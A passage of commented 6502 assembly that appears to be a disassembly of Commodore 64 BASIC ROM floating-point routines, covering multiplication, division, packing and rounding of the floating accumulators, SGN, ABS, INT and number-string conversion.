; (root2/(x+(1/root2))) [BB0F] lda #<Constant1 ; pointer to 1 LB ldy #>Constant1 ; pointer to 1 HB jsr AYminusFAC1 ; subtr FAC1 ((root2/(x+(1/root2)))-1) ; from (AY) [B850] lda #<ConstLogCoef ; pointer to series for LOG(n) LB ldy #>ConstLogCoef ; pointer to series for LOG(n) HB jsr Power2 ; ^2 then series evaluation [E043] lda #<Const05 ; pointer to -0.5 LB ldy #>Const05 ; pointer to -0.5 HB jsr AddFORvar2FAC1 ; add (AY) to FAC1 [B867] pla ; restore FAC1 exponent jsr EvalNewDigit ; evaluate new ASCII digit [BD7E] lda #<ConstLOG2 ; pointer to LOG(2) LB ldy #>ConstLOG2 ; pointer to LOG(2) HB ;****************************************************************************** ; ; do convert AY, FCA1*(AY) FAC1xAY ; [BA28] jsr UnpackAY2FAC2 ; unpack memory (AY) into FAC2 [BA8C] bcMULTIPLY ; [BA2B] bne A_BA30 ; multiply FAC1 by FAC2 ?? jmp JmpRTS ; exit if zero [BA8B] A_BA30 ; [BA30] jsr TestAdjFACs ; test and adjust accumulators [BAB7] lda #$00 ; clear A sta RESHO ; clear temp mantissa 1 sta RESHO+1 ; clear temp mantissa 2 sta RESHO+2 ; clear temp mantissa 3 sta RESHO+3 ; clear temp mantissa 4 lda FACOV ; get FAC1 rounding byte jsr ShftAddFAC2 ; go do shift/add FAC2 [BA59] lda FacMantissa+3 ; get FAC1 mantissa 4 jsr ShftAddFAC2 ; go do shift/add FAC2 [BA59] lda FacMantissa+2 ; get FAC1 mantissa 3 jsr ShftAddFAC2 ; go do shift/add FAC2 [BA59] lda FacMantissa+1 ; get FAC1 mantissa 2 jsr ShftAddFAC2 ; go do shift/add FAC2 [BA59] lda FacMantissa ; get FAC1 mantissa 1 jsr ShftAddFAC22 ; go do shift/add FAC2 [BA5E] jmp TempToFAC1 ; copy temp to FAC1, normalise and ; return [BB8F] ShftAddFAC2 ; [BA59] bne ShftAddFAC22 ; branch if byte <> zero jmp ShiftRegRight ; shift FCAtemp << A+8 times [B983] ; else do shift and add ShftAddFAC22 ; [BA5E] lsr ; shift byte ora #$80 ; set top bit (mark for 8 times) A_BA61 ; [BA61] tay ; copy result bcc A_BA7D ; skip next if bit was zero clc ; clear carry for add lda RESHO+3 ; get temp mantissa 4 adc ArgMantissa+3 ; add FAC2 mantissa 4 sta RESHO+3 ; save temp mantissa 4 lda RESHO+2 ; get temp mantissa 3 adc ArgMantissa+2 ; add FAC2 mantissa 3 sta RESHO+2 ; save temp mantissa 3 lda RESHO+1 ; get temp mantissa 2 adc ArgMantissa+1 ; add FAC2 mantissa 2 sta RESHO+1 ; save temp mantissa 2 lda RESHO ; get temp mantissa 1 adc ArgMantissa ; add FAC2 mantissa 1 sta RESHO ; save temp mantissa 1 A_BA7D ; [BA7D] ror RESHO ; shift temp mantissa 1 ror RESHO+1 ; shift temp mantissa 2 ror RESHO+2 ; shift temp mantissa 3 ror RESHO+3 ; shift temp mantissa 4 ror FACOV ; shift temp rounding byte tya ; get byte back lsr ; shift byte bne A_BA61 ; loop if all bits not done JmpRTS ; [BA8B] rts ;****************************************************************************** ; ; unpack memory (AY) into FAC2 UnpackAY2FAC2 ; [BA8C] sta INDEX ; save pointer LB sty INDEX+1 ; save pointer HB ldy #$04 ; 5 bytes to get (0-4) lda (INDEX),Y ; get mantissa 4 sta ArgMantissa+3 ; save FAC2 mantissa 4 dey ; decrement index lda (INDEX),Y ; get mantissa 3 sta ArgMantissa+2 ; save FAC2 mantissa 3 dey ; decrement index lda (INDEX),Y ; get mantissa 2 sta ArgMantissa+1 ; save FAC2 mantissa 2 dey ; decrement index lda (INDEX),Y ; get mantissa 1 + sign sta ARGSGN ; save FAC2 sign (b7) eor FACSGN ; EOR with FAC1 sign (b7) sta ARISGN ; save sign compare (FAC1 EOR FAC2) lda ARGSGN ; recover FAC2 sign (b7) ora #$80 ; set 1xxx xxx (set normal bit) sta ArgMantissa ; save FAC2 mantissa 1 dey ; decrement index lda (INDEX),Y ; get exponent byte sta ARGEXP ; save FAC2 exponent lda FACEXP ; get FAC1 exponent rts ;****************************************************************************** ; ; test and adjust accumulators TestAdjFACs ; [BAB7] lda ARGEXP ; get FAC2 exponent TestAdjFACs2 ; [BAB9] beq A_BADA ; branch if FAC2 = $00, handle underflow clc ; clear carry for add adc FACEXP ; add FAC1 exponent bcc A_BAC4 ; branch if sum of exponents < $0100 bmi A_BADF ; do overflow error clc ; clear carry for the add .byte $2C ; makes next line BIT $1410 A_BAC4 ; [BAC4] bpl A_BADA ; if +ve go handle underflow adc #$80 ; adjust exponent sta FACEXP ; save FAC1 exponent bne A_BACF ; branch if not zero jmp SaveFAC1Sign ; save FAC1 sign and return [B8FB] A_BACF ; [BACF] lda ARISGN ; get sign compare (FAC1 EOR FAC2) sta FACSGN ; save FAC1 sign (b7) rts ; handle overflow and underflow HndlOvUnFlErr ; [BAD4] lda FACSGN ; get FAC1 sign (b7) eor #$FF ; complement it bmi A_BADF ; do overflow error ; handle underflow A_BADA ; [BADA] pla ; pop return address LB pla ; pop return address HB jmp ClrFAC1ExpSgn ; clear FAC1 exponent and sign and ; return [B8F7] A_BADF ; [BADF] jmp OverflowError ; do overflow error then warm start ; [B97E] ;****************************************************************************** ; ; multiply FAC1 by 10 Fac1x10 ; [BAE2] jsr CopyFAC1toFAC2 ; round and copy FAC1 to FAC2 [BC0C] tax ; copy exponent (set the flags) beq A_BAF8 ; exit if zero clc ; clear carry for add adc #$02 ; add two to exponent (*4) bcs A_BADF ; do overflow error if > $FF ; FAC1 = (FAC1 + FAC2) * 2 FAC1plFAC2x2 ; [BAED] ldx #$00 ; clear byte stx ARISGN ; clear sign compare (FAC1 EOR FAC2) jsr bcPLUS2 ; add FAC2 to FAC1 (*5) [B877] inc FACEXP ; increment FAC1 exponent (*10) beq A_BADF ; if exponent now zero go do overflow ; error A_BAF8 ; [BAF8] rts ;****************************************************************************** ; ; 10 as a floating value Constant10 ; [BAF9] .byte $84,$20,$00,$00,$00 ; 10 ;****************************************************************************** ; ; divide FAC1 by 10 FAC1div10 ; [BAFE] jsr CopyFAC1toFAC2 ; round and copy FAC1 to FAC2 [BC0C] lda #<Constant10 ; set 10 pointer LB ldy #>Constant10 ; set 10 pointer HB ldx #$00 ; clear sign ;****************************************************************************** ; ; divide by (AY) (X=sign) FAC1divAY ; [BB07] stx ARISGN ; save sign compare (FAC1 EOR FAC2) jsr UnpackAY2FAC1 ; unpack memory (AY) into FAC1 [BBA2] jmp bcDIVIDE ; do FAC2/FAC1 [BB12] ;****************************************************************************** ; ; convert AY and do (AY)/FAC1 AYdivFAC1 ; [BB0F] jsr UnpackAY2FAC2 ; unpack memory (AY) into FAC2 [BA8C] bcDIVIDE beq A_BB8A ; if zero go do /0 error jsr RoundFAC1 ; round FAC1 [BC1B] lda #$00 ; clear A sec ; set carry for subtract sbc FACEXP ; subtract FAC1 exponent (2s complement) sta FACEXP ; save FAC1 exponent jsr TestAdjFACs ; test and adjust accumulators [BAB7] inc FACEXP ; increment FAC1 exponent beq A_BADF ; if zero do overflow error ldx #$FC ; set index to FAC temp lda #$01 ;.set byte A_BB29 ; [BB29] ldy ArgMantissa ; get FAC2 mantissa 1 cpy FacMantissa ; compare FAC1 mantissa 1 bne A_BB3F ; branch if <> ldy ArgMantissa+1 ; get FAC2 mantissa 2 cpy FacMantissa+1 ; compare FAC1 mantissa 2 bne A_BB3F ; branch if <> ldy ArgMantissa+2 ; get FAC2 mantissa 3 cpy FacMantissa+2 ; compare FAC1 mantissa 3 bne A_BB3F ; branch if <> ldy ArgMantissa+3 ; get FAC2 mantissa 4 cpy FacMantissa+3 ; compare FAC1 mantissa 4 A_BB3F ; [BB3F] php ; save FAC2-FAC1 compare status rol ;.shift byte bcc A_BB4C ; skip next if no carry inx ; increment index to FAC temp sta RESHO+3,X ;. beq A_BB7A ;. bpl A_BB7E ;. lda #$01 ;. A_BB4C ; [BB4C] plp ; restore FAC2-FAC1 compare status bcs A_BB5D ; if FAC2 >= FAC1 then do subtract ; FAC2 = FAC2*2 FAC2x2 ; [BB4F] asl ArgMantissa+3 ; shift FAC2 mantissa 4 rol ArgMantissa+2 ; shift FAC2 mantissa 3 rol ArgMantissa+1 ; shift FAC2 mantissa 2 rol ArgMantissa ; shift FAC2 mantissa 1 bcs A_BB3F ; loop with no compare bmi A_BB29 ; loop with compare bpl A_BB3F ; Always -> loop with no compare A_BB5D ; [BB5D] tay ; save FAC2-FAC1 compare status lda ArgMantissa+3 ; get FAC2 mantissa 4 sbc FacMantissa+3 ; subtract FAC1 mantissa 4 sta ArgMantissa+3 ; save FAC2 mantissa 4 lda ArgMantissa+2 ; get FAC2 mantissa 3 sbc FacMantissa+2 ; subtract FAC1 mantissa 3 sta ArgMantissa+2 ; save FAC2 mantissa 3 lda ArgMantissa+1 ; get FAC2 mantissa 2 sbc FacMantissa+1 ; subtract FAC1 mantissa 2 sta ArgMantissa+1 ; save FAC2 mantissa 2 lda ArgMantissa ; get FAC2 mantissa 1 sbc FacMantissa ; subtract FAC1 mantissa 1 sta ArgMantissa ; save FAC2 mantissa 1 tya ; restore FAC2-FAC1 compare status jmp FAC2x2 ;. [BB4F] A_BB7A ; [BB7A] lda #$40 ;. bne A_BB4C ; branch always ; do A<<6, save as FAC1 rounding byte, normalise and return A_BB7E ; [BB7E] asl ;. asl ;. asl ;. asl ;. asl ;. asl ;. sta FACOV ; save FAC1 rounding byte plp ; dump FAC2-FAC1 compare status jmp TempToFAC1 ; copy temp to FAC1, normalise and ; return [BB8F] ; do "Divide by zero" error A_BB8A ; [BB8A] ldx #$14 ; error $14, divide by zero error jmp OutputErrMsg ; do error #X then warm start [A437] TempToFAC1 ; [BB8F] lda RESHO ; get temp mantissa 1 sta FacMantissa ; save FAC1 mantissa 1 lda RESHO+1 ; get temp mantissa 2 sta FacMantissa+1 ; save FAC1 mantissa 2 lda RESHO+2 ; get temp mantissa 3 sta FacMantissa+2 ; save FAC1 mantissa 3 lda RESHO+3 ; get temp mantissa 4 sta FacMantissa+3 ; save FAC1 mantissa 4 jmp NormaliseFAC1 ; normalise FAC1 and return [B8D7] ;****************************************************************************** ; ; unpack memory (AY) into FAC1 UnpackAY2FAC1 ; [BBA2] sta INDEX ; save pointer LB sty INDEX+1 ; save pointer HB ldy #$04 ; 5 bytes to do lda (INDEX),Y ; get fifth byte sta FacMantissa+3 ; save FAC1 mantissa 4 dey ; decrement index lda (INDEX),Y ; get fourth byte sta FacMantissa+2 ; save FAC1 mantissa 3 dey ; decrement index lda (INDEX),Y ; get third byte sta FacMantissa+1 ; save FAC1 mantissa 2 dey ; decrement index lda (INDEX),Y ; get second byte sta FACSGN ; save FAC1 sign (b7) ora #$80 ; set 1xxx, (add normal bit) sta FacMantissa ; save FAC1 mantissa 1 dey ; decrement index lda (INDEX),Y ; get first byte (exponent) sta FACEXP ; save FAC1 exponent sty FACOV ; clear FAC1 rounding byte rts ;****************************************************************************** ; ; pack FAC1 into FacTempStor+5 FAC1toTemp5 ; [BBC7] ldx #<FacTempStor+5 ; set pointer LB .byte $2C ; makes next line BIT FacTempStorA2 ;****************************************************************************** ; ; pack FAC1 into FacTempStor FAC1toTemp ; [BBCA] ldx #<FacTempStor ; set pointer LB ldy #>FacTempStor ; set pointer HB beq PackFAC1intoXY ; pack FAC1 into (XY) and return, ; branch always ;****************************************************************************** ; ; pack FAC1 into variable pointer Fac1ToVarPtr ; [BBD0] ldx FORPNT ; get destination pointer LB ldy FORPNT+1 ; get destination pointer HB ;****************************************************************************** ; ; pack FAC1 into (XY) PackFAC1intoXY ; [BBD4] jsr RoundFAC1 ; round FAC1 [BC1B] stx INDEX ; save pointer LB sty INDEX+1 ; save pointer HB ldy #$04 ; set index lda FacMantissa+3 ; get FAC1 mantissa 4 sta (INDEX),Y ; store in destination dey ; decrement index lda FacMantissa+2 ; get FAC1 mantissa 3 sta (INDEX),Y ; store in destination dey ; decrement index lda FacMantissa+1 ; get FAC1 mantissa 2 sta (INDEX),Y ; store in destination dey ; decrement index lda FACSGN ; get FAC1 sign (b7) ora #$7F ; set bits x111 1111 and FacMantissa ; AND in FAC1 mantissa 1 sta (INDEX),Y ; store in destination dey ; decrement index lda FACEXP ; get FAC1 exponent sta (INDEX),Y ; store in destination sty FACOV ; clear FAC1 rounding byte rts ;****************************************************************************** ; ; copy FAC2 to FAC1 CopyFAC2toFAC1 ; [BBFC] lda ARGSGN ; get FAC2 sign (b7) ; save FAC1 sign and copy ABS(FAC2) to FAC1 CpFAC2toFAC12 ; [BBFE] sta FACSGN ; save FAC1 sign (b7) ldx #$05 ; 5 bytes to copy A_BC02 ; [BC02] lda BITS,X ; get byte from FAC2,X sta FacTempStor+9,X ; save byte at FAC1,X dex ; decrement count bne A_BC02 ; loop if not all done stx FACOV ; clear FAC1 rounding byte rts ;****************************************************************************** ; ; round and copy FAC1 to FAC2 CopyFAC1toFAC2 ; [BC0C] jsr RoundFAC1 ; round FAC1 [BC1B] ; copy FAC1 to FAC2 CpFAC1toFAC22 ; [BC0F] ldx #$06 ; 6 bytes to copy A_BC11 ; [BC11] lda FacTempStor+9,X ; get byte from FAC1,X sta BITS,X ; save byte at FAC2,X dex ; decrement count bne A_BC11 ; loop if not all done stx FACOV ; clear FAC1 rounding byte A_BC1A ; [BC1A] rts ;****************************************************************************** ; ; round FAC1 RoundFAC1 ; [BC1B] lda FACEXP ; get FAC1 exponent beq A_BC1A ; exit if zero asl FACOV ; shift FAC1 rounding byte bcc A_BC1A ; exit if no overflow ; round FAC1 (no check) RoundFAC12 ; [BC23] jsr IncFAC1Mant ; increment FAC1 mantissa [B96F] bne A_BC1A ; branch if no overflow jmp NormaliseFAC13 ; nornalise FAC1 for C=1 and return ; [B938] ;****************************************************************************** ; ; get FAC1 sign ; return A = $FF, Cb = 1/-ve A = $01, Cb = 0/+ve, A = $00, Cb = ?/0 GetFacSign ; [BC2B] lda FACEXP ; get FAC1 exponent beq A_BC38 ; exit if zero (allready correct ; SGN(0)=0) ;****************************************************************************** ; ; return A = $FF, Cb = 1/-ve A = $01, Cb = 0/+ve ; no = 0 check A_BC2F ; [BC2F] lda FACSGN ; else get FAC1 sign (b7) ;****************************************************************************** ; ; return A = $FF, Cb = 1/-ve A = $01, Cb = 0/+ve ; no = 0 check, sign in A J_BC31 ; [BC31] rol ; move sign bit to carry lda #$FF ; set byte for -ve result bcs A_BC38 ; return if sign was set (-ve) lda #$01 ; else set byte for +ve result A_BC38 ; [BC38] rts ;****************************************************************************** ; ; perform SGN() bcSGN ; [BC39] jsr GetFacSign ; get FAC1 sign, return A = $FF -ve, ; A = $01 +ve [BC2B] ;****************************************************************************** ; ; save A as integer byte AtoInteger ; [BC3C] sta FacMantissa ; save FAC1 mantissa 1 lda #$00 ; clear A sta FacMantissa+1 ; clear FAC1 mantissa 2 ldx #$88 ; set exponent ; set exponent = X, clear FAC1 3 and 4 and normalise J_BC44 ; [BC44] lda FacMantissa ; get FAC1 mantissa 1 eor #$FF ; complement it rol ; sign bit into carry ; set exponent = X, clear mantissa 4 and 3 and normalise FAC1 SetExpontIsX ; [BC49] lda #$00 ; clear A sta FacMantissa+3 ; clear FAC1 mantissa 4 sta FacMantissa+2 ; clear FAC1 mantissa 3 ; set exponent = X and normalise FAC1 J_BC4F ; [BC4F] stx FACEXP ; set FAC1 exponent sta FACOV ; clear FAC1 rounding byte sta FACSGN ; clear FAC1 sign (b7) jmp AbsNormalFAC1 ; do ABS and normalise FAC1 [B8D2] ;****************************************************************************** ; ; perform ABS() bcABS ; [BC58] lsr FACSGN ; clear FAC1 sign, put zero in b7 rts ;****************************************************************************** ; ; compare FAC1 with (AY) ; returns A=$00 if FAC1 = (AY) ; returns A=$01 if FAC1 > (AY) ; returns A=$FF if FAC1 < (AY) CmpFAC1withAY ; [BC5B] sta INDEX+2 ; save pointer LB CmpFAC1withAY2 ; [BC5D] sty INDEX+3 ; save pointer HB ldy #$00 ; clear index lda (INDEX+2),Y ; get exponent iny ; increment index tax ; copy (AY) exponent to X beq GetFacSign ; branch if (AY) exponent=0 and get FAC1 ; sign A = $FF, Cb = 1/-ve, A = $01, ; Cb = 0/+ve lda (INDEX+2),Y ; get (AY) mantissa 1, with sign eor FACSGN ; EOR FAC1 sign (b7) bmi A_BC2F ; if signs <> do return A = $FF, ; Cb = 1/-ve, A = $01, Cb = 0/+ve and ; return cpx FACEXP ; compare (AY) exponent with FAC1 ; exponent bne A_BC92 ; branch if different lda (INDEX+2),Y ; get (AY) mantissa 1, with sign ora #$80 ; normalise top bit cmp FacMantissa ; compare with FAC1 mantissa 1 bne A_BC92 ; branch if different iny ; increment index lda (INDEX+2),Y ; get mantissa 2 cmp FacMantissa+1 ; compare with FAC1 mantissa 2 bne A_BC92 ; branch if different iny ; increment index lda (INDEX+2),Y ; get mantissa 3 cmp FacMantissa+2 ; compare with FAC1 mantissa 3 bne A_BC92 ; branch if different iny ; increment index lda #$7F ; set for 1/2 value rounding byte cmp FACOV ; compare with FAC1 rounding byte ; (set carry) lda (INDEX+2),Y ; get mantissa 4 sbc FacMantissa+3 ; subtract FAC1 mantissa 4 beq A_BCBA ; exit if mantissa 4 equal ; gets here if number <> FAC1 A_BC92 ; [BC92] lda FACSGN ; get FAC1 sign (b7) bcc A_BC98 ; branch if FAC1 > (AY) eor #$FF ; else toggle FAC1 sign A_BC98 ; [BC98] jmp J_BC31 ; return A = $FF, Cb = 1/-ve A = $01, ; Cb = 0/+ve [BC31] ;****************************************************************************** ; ; convert FAC1 floating to fixed FAC1Float2Fix ; [BC9B] lda FACEXP ; get FAC1 exponent beq A_BCE9 ; if zero go clear FAC1 and return sec ; set carry for subtract sbc #$A0 ; subtract maximum integer range ; exponent bit FACSGN ; test FAC1 sign (b7) bpl A_BCAF ; branch if FAC1 +ve ; FAC1 was -ve tax ; copy subtracted exponent lda #$FF ; overflow for -ve number sta BITS ; set FAC1 overfLB jsr TwoComplFAC1 ; twos complement FAC1 mantissa [B94D] txa ; restore subtracted exponent A_BCAF ; [BCAF] ldx #$61 ; set index to FAC1 cmp #$F9 ; compare exponent result bpl A_BCBB ; if < 8 shifts shift FAC1 A times right ; and return jsr shftFACxAright ; shift FAC1 A times right (> 8 shifts) ; [B999] sty BITS ; clear FAC1 overfLB A_BCBA ; [BCBA] rts ;****************************************************************************** ; ; shift FAC1 A times right A_BCBB ; [BCBB] tay ; copy shift count lda FACSGN ; get FAC1 sign (b7) and #$80 ; mask sign bit only (x000 0000) lsr FacMantissa ; shift FAC1 mantissa 1 ora FacMantissa ; OR sign in b7 FAC1 mantissa 1 sta FacMantissa ; save FAC1 mantissa 1 jsr shftFACxYright ; shift FAC1 Y times right [B9B0] sty BITS ; clear FAC1 overfLB rts ;****************************************************************************** ; ; perform INT() bcINT ; [BCCC] lda FACEXP ; get FAC1 exponent cmp #$A0 ; compare with max int bcs A_BCF2 ; exit if >= (allready int, too big for ; fractional part!) jsr FAC1Float2Fix ; convert FAC1 floating to fixed [BC9B] sty FACOV ; save FAC1 rounding byte lda FACSGN ; get FAC1 sign (b7) sty FACSGN ; save FAC1 sign (b7) eor #$80 ; toggle FAC1 sign rol ; shift into carry lda #$A0 ; set new exponent sta FACEXP ; save FAC1 exponent lda FacMantissa+3 ; get FAC1 mantissa 4 sta CHARAC ; save FAC1 mantissa 4 for power ; function jmp AbsNormalFAC1 ; do ABS and normalise FAC1 [B8D2] ;****************************************************************************** ; ; clear FAC1 and return A_BCE9 ; [BCE9] sta FacMantissa ; clear FAC1 mantissa 1 sta FacMantissa+1 ; clear FAC1 mantissa 2 sta FacMantissa+2 ; clear FAC1 mantissa 3 sta FacMantissa+3 ; clear FAC1 mantissa 4 tay ; clear Y A_BCF2 ; [BCF2] rts ;****************************************************************************** ; ; get FAC1 from string String2FAC1 ; [BCF3] ldy #$00 ; clear Y ldx #$0A ; set index A_BCF7 ; [BCF7] sty FacTempStor+6,X ; clear byte dex ; decrement index bpl A_BCF7 ; loop until numexp to negnum ; (and FAC1 = $00) bcc A_BD0D ; branch if first character is numeric cmp #'-' ; else compare with "-" bne A_BD06 ; branch if not "-" stx SGNFLG ; set flag for -ve n (negnum = $FF) beq J_BD0A ; branch always A_BD06 ; [BD06] cmp #'+' ; else compare with "+" bne A_BD0F ; branch if not "+" J_BD0A ; [BD0A] jsr CHRGET ; increment and scan memory [0073] A_BD0D ; [BD0D] bcc A_BD6A ; branch if numeric character A_BD0F ; [BD0F] cmp #'.' ; else compare with "." beq A_BD41 ; branch if "." cmp #'E' ; else compare with "E" bne A_BD47 ; branch if not "E" ; was "E" so evaluate exponential part jsr CHRGET ; increment and scan memory [0073] bcc A_BD33 ; branch if numeric character cmp #TK_MINUS ; else compare with token for - beq A_BD2E ; branch if token for - cmp #'-' ; else compare with "-" beq A_BD2E ; branch if "-" cmp #TK_PLUS ; else compare with token for + beq J_BD30 ; branch if token for + cmp #'+' ; else compare with "+" beq J_BD30 ; branch if "+" bne A_BD35 ; branch always A_BD2E ; [BD2E] ror FacTempStor+9 ; set exponent -ve flag (C, which=1, ; into b7) J_BD30 ; [BD30] jsr CHRGET ; increment and scan memory [0073] A_BD33 ; [BD33] bcc A_BD91 ; branch if numeric character A_BD35 ; [BD35] bit FacTempStor+9 ; test exponent -ve flag bpl A_BD47 ; if +ve go evaluate exponent ; else do exponent = -exponent lda #$00 ; clear result sec ; set carry for subtract sbc FacTempStor+7 ; subtract exponent byte jmp J_BD49 ; go evaluate exponent [BD49] A_BD41 ; [BD41] ror FacTempStor+8 ; set decimal point flag bit FacTempStor+8 ; test decimal point flag bvc J_BD0A ; branch if only one decimal point so ; far ; evaluate exponent A_BD47 ; [BD47] lda FacTempStor+7 ; get exponent count byte J_BD49 ; [BD49] sec ; set carry for subtract sbc FacTempStor+6 ; subtract numerator exponent sta FacTempStor+7 ; save exponent count byte beq A_BD62 ; branch if no adjustment bpl A_BD5B ; else if +ve go do FAC1*10^expcnt ; else go do FAC1/10^(0-expcnt) A_BD52 ; [BD52] jsr FAC1div10 ; divide FAC1 by 10 [BAFE] inc FacTempStor+7 ; increment exponent count byte bne A_BD52 ; loop until all done beq A_BD62 ; branch always A_BD5B ; [BD5B] jsr Fac1x10 ; multiply FAC1 by 10 [BAE2] dec FacTempStor+7 ; decrement exponent count byte bne A_BD5B ; loop until all done A_BD62 ; [BD62] lda SGNFLG ; get -ve flag bmi A_BD67 ; if -ve do - FAC1 and return rts ;****************************************************************************** ; ; do - FAC1 and return A_BD67 ; [BD67] jmp bcGREATER ; do - FAC1 [BFB4] ; do unsigned FAC1*10+number A_BD6A ; [BD6A] pha ; save character bit FacTempStor+8 ; test decimal point flag bpl A_BD71 ; skip exponent increment if not set inc FacTempStor+6 ; else increment number exponent A_BD71 ; [BD71] jsr Fac1x10 ; multiply FAC1 by 10 [BAE2] pla ; restore character sec ; set carry for subtract sbc #'0' ; convert to binary jsr EvalNewDigit ; evaluate new ASCII digit [BD7E] jmp J_BD0A ; go do next character [BD0A] ; evaluate new ASCII digit ; multiply FAC1 by 10 then (ABS) add in new digit EvalNewDigit ; [BD7E] pha ; save digit jsr CopyFAC1toFAC2 ; round and copy FAC1 to FAC2 [BC0C] pla ; restore digit jsr AtoInteger ; save A as integer byte [BC3C] lda ARGSGN ; get FAC2 sign (b7) eor FACSGN ; toggle with FAC1 sign (b7) sta ARISGN ; save sign compare (FAC1 EOR FAC2) ldx FACEXP ; get FAC1 exponent jmp bcPLUS ; add FAC2 to FAC1 and return [B86A] ; evaluate next character of exponential part of number A_BD91 ; [BD91] lda FacTempStor+7 ; get exponent count byte cmp #$0A ; compare with 10 decimal bcc A_BDA0 ; branch if less lda #$64 ; make all -ve exponents = -100 decimal ; (causes underflow) bit FacTempStor+9 ; test exponent -ve flag bmi A_BDAE ; branch if -ve jmp OverflowError ; else do overflow error then warm start ; [B97E] A_BDA0 ; [BDA0] asl ; *2 asl ; *4 clc ; clear carry for add adc FacTempStor+7 ; *5 asl ; *10 clc ; clear carry for add ldy #$00 ; set index adc (TXTPTR),Y ; add character (will be $30 too much!) sec ; set carry for subtract sbc #'0' ; convert character to binary A_BDAE ; [BDAE] sta FacTempStor+7 ; save exponent count byte jmp J_BD30 ; go get next character [BD30] ;****************************************************************************** ; ; limits for scientific mode C99999999 ; [BDB3] .byte $9B,$3E,$BC,$1F,$FD ; 99999999.90625, maximum value with at ; least one decimal C999999999 ; [BDB8] .byte $9E,$6E,$6B,$27,$FD ; 999999999.25, maximum value before ; scientific notation C1000000000 ; [BDBD] .byte $9E,$6E,$6B,$28,$00 ; 1000000000 ;****************************************************************************** ; ; do " IN " line number message Print_IN ; [BDC2] lda #<TxtIN ; set " IN " pointer LB ldy #>TxtIN ; set " IN " pointer HB jsr OutputString0 ; print null terminated string [BDDA] lda CURLIN+1 ; get the current line number HB ldx CURLIN ; get the current line number LB ;****************************************************************************** ; ; print XA as unsigned integer PrintXAasInt ; [BDCD] sta FacMantissa ; save HB as FAC1 mantissa1 stx FacMantissa+1 ; save LB as FAC1 mantissa2 S_BDD1 ldx #$90 ; set exponent to 16d bits sec ; set integer is +ve flag jsr SetExpontIsX ; set exponent = X, clear mantissa 4 ; and 3 and normalise FAC1 [BC49] jsr FAC12String ; convert FAC1 to string [BDDF] OutputString0 ; [BDDA] jmp OutputString ; print null terminated string [AB1E] ;****************************************************************************** ; ; convert FAC1 to ASCII string result in (AY) FAC1toASCII ; [BDDD] ldy #$01 ; set index = 1 FAC12String ; [BDDF] lda #' ' ; character = " " (assume +ve) bit FACSGN ; test FAC1 sign (b7) bpl A_BDE7 ; branch if +ve lda #'-' ; else character = "-" A_BDE7 ; [BDE7] sta StrConvAddr,Y ; save leading character (" " or "-") sta FACSGN ; save FAC1 sign (b7) sty FBUFPT ; save index iny ; increment index lda #'0' ; set character = "0" ldx FACEXP ; get FAC1 exponent bne A_BDF8 ; branch if FAC1<>0 ; exponent was $00 so FAC1 is 0 jmp J_BF04 ; save last character, [EOT] and exit ; [BF04] ; FAC1 is some non zero value A_BDF8 ; [BDF8] lda #$00 ; clear (number exponent count) cpx #$80 ; compare FAC1 exponent with $80 ; (<1.00000) beq A_BE00 ; branch if 0.5 <= FAC1 < 1.0 bcs A_BE09 ; branch if FAC1=>1 A_BE00 ; [BE00] lda #<C1000000000 ; set 1000000000 pointer LB ldy #>C1000000000 ; set 1000000000 pointer HB jsr FAC1xAY ; do convert AY, FCA1*(AY) [BA28] lda #$F7 ; set number exponent count A_BE09 ; [BE09] sta FacTempStor+6 ; save number exponent count A_BE0B ; [BE0B] lda #<C999999999 ; set 999999999.25 pointer LB (max ; before sci note) ldy #>C999999999 ; set 999999999.25 pointer HB jsr CmpFAC1withAY ; compare FAC1 with (AY) [BC5B] beq A_BE32 ; exit if FAC1 = (AY) bpl A_BE28 ; go do /10 if FAC1 > (AY) ; FAC1 < (AY) A_BE16 ; [BE16] lda #<C99999999 ; set 99999999.90625 pointer LB ldy #>C99999999 ; set 99999999.90625 pointer HB jsr CmpFAC1withAY ; compare FAC1 with (AY) [BC5B] beq A_BE21 ; branch if FAC1 = (AY) (allow decimal ; places) bpl A_BE2F ; branch if FAC1 > (AY) (no decimal ; places) ; FAC1 <= (AY) A_BE21 ; [BE21] jsr Fac1x10 ; multiply FAC1 by 10 [BAE2] dec FacTempStor+6 ; decrement number exponent count bne A_BE16 ; go test again, branch always A_BE28 ; [BE28] jsr FAC1div10 ; divide FAC1 by 10 [BAFE] inc FacTempStor+6 ; increment number exponent count bne A_BE0B ; go test again, branch always ; now we have just the digits to do A_BE2F ; [BE2F] jsr FAC1plus05 ; add 0.5 to FAC1 (round FAC1) [B849] A_BE32 ; [BE32] jsr FAC1Float2Fix ; convert FAC1 floating to fixed [BC9B] ldx #$01 ; set default digits before dp = 1 lda FacTempStor+6 ; get number exponent count clc ; clear carry for add adc #$0A ; up to 9 digits before point bmi A_BE47 ; if -ve then 1 digit before dp cmp #$0B ; A>=$0B if n>=1E9 bcs A_BE48 ; branch if >= $0B ; carry is clear adc #$FF ; take 1 from digit count tax ; copy to X lda #$02 ;.set exponent adjust A_BE47 ; [BE47] sec ; set carry for subtract A_BE48 ; [BE48] sbc #$02 ; -2 sta FacTempStor+7 ;.save exponent adjust stx FacTempStor+6 ; save digits before dp count txa ; copy to A beq A_BE53 ; branch if no digits before dp bpl A_BE66 ; branch if digits before dp A_BE53 ; [BE53] ldy FBUFPT ; get output string index lda #'.' ; character "." iny ; increment index sta StrConvAddr,Y ; save to output string txa ;. beq A_BE64 ;. lda #'0' ; character "0" iny ; increment index sta StrConvAddr,Y ; save to output string A_BE64 ; [BE64] sty FBUFPT ; save output string index A_BE66 ; [BE66] ldy #$00 ; clear index (point to 100,000) JiffyCnt2Str ; [BE68] ldx #$80 ;. A_BE6A ; [BE6A] lda FacMantissa+3 ; get FAC1 mantissa 4 clc ; clear carry for add adc D_BF16+3,Y ; add byte 4, least significant sta FacMantissa+3 ; save FAC1 mantissa4 lda FacMantissa+2 ; get FAC1 mantissa 3 adc D_BF16+2,Y ; add byte 3 sta FacMantissa+2 ; save FAC1 mantissa3 lda FacMantissa+1 ; get FAC1 mantissa 2 adc D_BF16+1,Y ; add byte 2 sta FacMantissa+1 ; save FAC1 mantissa2 lda FacMantissa ; get FAC1 mantissa 1 adc D_BF16+0,Y ; add byte 1, most significant sta FacMantissa ; save FAC1 mantissa1 inx ; increment the digit, set the sign on ; the test sense bit bcs A_BE8E ; if the carry is set go test if the ; result was positive ; else the result needs to be negative bpl A_BE6A ; not -ve so try again bmi A_BE90 ; else done so return the digit A_BE8E ; [BE8E] bmi A_BE6A ; not +ve so try again ; else done so return the digit A_BE90 ; [BE90] txa ; copy the digit 